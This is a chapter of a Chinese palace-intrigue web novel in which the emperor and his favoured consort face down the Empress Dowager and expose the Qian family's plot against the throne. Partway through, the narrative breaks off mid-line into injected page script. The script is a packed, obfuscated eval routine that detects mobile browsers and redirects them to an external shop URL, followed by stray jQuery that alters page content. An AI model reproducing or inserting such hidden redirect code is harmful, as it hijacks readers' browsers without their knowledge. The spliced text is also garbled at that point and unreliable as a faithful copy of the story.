见钱昭宁当着众人面失心疯一般捅了人,太后眼中一阵失望,竟也像她妹妹一般沉不住气。太后沉下眸子,朝一侧的林嬷嬷递了眼色,嬷嬷一声令下。身侧的人立马上前,将愣怔失神的钱昭宁扶到桌案旁坐下。
钱家与太后之间,盘根错节,利益缠绞。钱昭宁这枚棋子,她培养了那么多年,怎么能说废就废。
太后长吁一声,先于皇上叹道。
“昭宁这孩子也是可怜,这么多年守在皇上身边,任劳任怨。可逸儿你呢?心若顽石一般,任她何等用心,也终究捂不热你的那颗心。倘若你一直冷着也就罢了,偏偏在这么个妖女身上你百般的热络悉心。你让她怎么能甘心?”
“说到底,昭宁如今这样,终究是我大梁对不住她。”
贺景逸闻言讥笑一声,“太后娘娘言重了。这么多年她为何留在朕的身边,太后娘娘最清楚了。”
姜珂反手握了握贺景逸,被自己母亲利用控制肯定不好受。
温热从手中传来,贺景逸心中一暖,目光对上太后,再次说道,“朕,和整个大梁从未对不起她,至于太后娘娘心中的歉意,朕属实不知从何而来。莫非,是太后娘娘有愧于她。”
太后闻言,面色发青,这是将她借钱家之势,扩大势力的事直接摆在台面之上,竟当众如此多人的面抹开太后的脸面。
“逸儿,你!当真是被迷了心窍!”
“太后娘娘慎言。”姜珂起身站在贺景逸身前,直面太后反驳道。她话语轻柔,却带了几分讥讽。“纵然您是皇上的生母,也不可如此诋毁皇上。皇上乃九五之尊,这世上再没有比皇上更清明的人了。倒是太后娘娘,上了年纪,身子也不如从前,方得擦亮眼睛,看得清楚才好。”
“你算个什么东西,若不是逸儿护着你,十条命也不够你死的。”
“呵……太后娘娘所言极是,臣妾好怕哦。”姜珂言笑间,环视一周,双手一摊,“不过话又回来,在这深宫之中,皇上就是臣妾的天,有皇上护着,就算只有一条命,也抵得上旁人十条命!”
“姐妹们,你们说是与不是。”众人闻言,惊诧之余,却又深觉她所言极是,但碍于太后脸面,无人敢有什么反应。唯有江雅彤目中的欣赏之色难掩,她嘴角上扬,双手击出掌声。
掌声落,姜珂又道,“贵妃娘娘定是深知这个道理,不然也不会因妒生恨。今日,她可以恨臣妾,动了杀念,他日,又会不会因爱生恨,做出什么不利皇上的事。”
“太后娘娘,三思。”姜珂斟茶递给太后,见太后不接,索性将茶盏单手搁在桌上,果断昂首转身朝贺景逸走去,一副“妖妃”做派。
太后气得胸疼,捂着胸口,频频喘气,林嬷嬷忙上前为她抚顺气息。见太后又想开口争执,林嬷嬷暗中紧握了握太后小臂,又摇摇头。
太后倒也听劝,收了要说的话,任姜珂摇曳着身姿回去,只是转了性子,柔着态度说道。
“这么多年,昭宁替你左右操持,没有功劳也有苦劳。今日她虽害了人,但却也无伤大雅,一个低贱的青楼女子罢了,说了一堆胡话,这样的歹人,皇上也不必放在心上。”
“今日众人都累了,不妨哀家做主,就此散了吧。”
那般好的芙蓉姐姐,舍弃性命也只为成全她的芙蓉姐姐,在她们口中,却为低贱,却为歹人。
姜珂仰起头看向蔚蓝的天空,是姐姐告诉她,这样眼泪就不会流出来,坚强就会变成勇气,替她扫清障碍。天空中的云缓缓飘动,推着心思往前走。
她强忍心中悲愤,又扯出一丝微笑。“太后娘娘此言差矣,贵妃娘娘如此着急灭口,陷害臣妾为假,谋害皇上为真。不然,以娘娘的气度,怎么可能如此这般冲动呢?”
太后闻言,眼中蓦地生出一丝犹豫之色。昭宁那丫头今日的表现确实失常。难不成真有什么……只一瞬,太后又回神一般,猛地敲响权杖,“一派胡言!事到如今,还敢胡乱攀咬。”
姜珂顺势躲向贺景逸身后,佯装出一副被吓着的模样,眼眸红了三分,“皇上,太后娘娘怕是想杀了臣妾”。贺景逸将人搂于怀中,纵她坐在自己腿上,“爱妃不必惧怕,有朕在旁人十条命,也抵不上你一条,这条命你安心留着。朕不许旁人动,那便谁也不行,就算太后也不行。”
萧公公见相持不下,提醒道,“皇上,萧严醒了。”
钱昭宁原本坐在椅子上,双目失神。直到听到萧公公的话,她才回过了一丝神志,眸中骤亮。
“将人带上来。朕要亲自审。”
萧严是谁?太后心中疑问,眼神投问林嬷嬷,却只得了一个不知的回复。逸儿做事愈来愈谨慎了,就连她也无法事事皆知。只盼得是个什么不要紧的角色,不会掀起什么风浪。
不多时,侍卫亲自将人抬了上来。
萧严面色没有什么血色,人也懒洋洋的,只是那精明的眼神让人相信,他确实醒了,还很清醒。
林嬷嬷见着来人,想起来萧严是萧公公的徒弟,是个机灵的小公公,先前太后病时,平日里萧公公便是派他前来传话办事,只是从未问过姓名,一时疏忽了。此时想起,便第一时间耳语告与太后。
萧严欲下矮轿行礼,被贺景逸叫停,“萧严,你身子不适,今日这礼便免了。你只需如实回答。”
“朕派你回宫办事,为何你会坠入深井昏迷不醒?”
萧严环视一周,最后目光落在钱昭宁的身上,“皇上,是钱家,是钱家动的手。是奴才误打误撞,撞破了他们的计划,才惨遭灭口。”
“什么计划?”
萧严思索片刻,欲言又止,最后颤颤巍巍发出四个字,“谋杀皇上。”
此言一出,是破惊天,姜珂原以为钱家只是想杀了她,不曾想过她们对贺景逸也动了杀念。
太后更是惊诧,惊呼,“绝不可能!钱家堂堂新皇功臣,又怎么会放着朝之重臣不当,而要做大逆不道杀头灭族的事呢?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610902|182187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“回太后娘娘,奴才不知。奴才只听到他们商议宫内将纯嫔干掉宫外趁皇上在外,让皇上死在路上。”
贺景逸看着萧公公脸上颈上的伤,他虽极力掩藏,贺景逸却也看得真切,再看与萧公公同行的几位侍卫,也皆是如此,想必在贺景逸之后,那几人确属经历了一场恶战。
倘若当时贺景逸没有因为四年姜珂,提前返回,那被困鏖战的就怕是贺景逸了。
太后的面色一阵青一阵白。
同样震惊的还有钱昭宁,她接到的消息一直都是贺景逸离京,若是想除掉姜珂,可趁此动手。却从未得到消息说,要将贺景逸猎杀在路上,不然她是绝不会同意的。
钱昭宁扑通跪在地上,磕头求饶,“皇上,是臣妾错了,是臣妾嫉妒纯嫔,想要陷害她,真的与钱家没有关系,皇上,你得信我。”
贺景逸冷眼看她磕头。不曾回应,只是将姜珂额前的碎发轻轻用指尖拨开。
不多时,纪平章又押了两个人上来。
两个人小公公模样,萧公公瞅了半天,只得出一个结论,这二人是新面孔,认不出是哪个宫的。
纪平章上前回话,“皇上,这二人,一个侍奉于宁寿宫,一个是赵婕妤宫里的人,皆是近一月才入宫来,一个月之内平步青云,很快便到了各宫要职。”
萧严神情激动,指着二人,“就是他们二人,说是要灭了纯嫔娘娘,还要皇上有去无回!”
纪平章继续回道,“二人受不住招供了,说自己是钱家的人,受钱家指使。”
“皇上,只不过是两个入宫一月的公公,陷害钱家也是有的。再说钱家之人,多为死侍,宁死也不会招供的。绝不会像这样没骨气。”钱昭宁为钱家辩解。
“皇上,娘娘,并非他们不想死,只是臣下了他们的下颌,又折了他们的手脚,他们死不了罢了。”纪平章板着脸解释道。
“太后娘娘,平章这么多年,何时错过?朕的话你不信,平章的话,你总该信吧。”
“你信任的钱家,早就生了二心啦!”贺景逸自嘲式倾吐。
钱昭宁难以置信,但纪平章虽下手狠辣,但却从未有过冤假错案,难道钱家真的舍弃了她,背叛了贺景逸吗?她不敢去问,她怕父亲同她说,是的。
“逸儿,这其中许是有什么误会……”
贺景逸轻咳一声,双眸轻闭之后又猛然睁开,眼底的怒色晕出,“太后娘娘,多说无益。”
继而又转头吩咐道,“林嬷嬷,太后身体不适,该回寝宫歇着了。”
贺景逸身后的左右侍卫上前,虽俯身低头,却话语冰冷,“太后娘娘,请。”手势强硬,同贺景逸的态度一般。
“逸儿……”
眼看林嬷嬷等人被贺景逸的侍卫推搡在一起团团围住,太后明白,这是皇上以这些人的性命做威胁,让她别再插手。
“逸儿,无论如何,昭宁不能动。”太后不甘,甩下话后率众离开。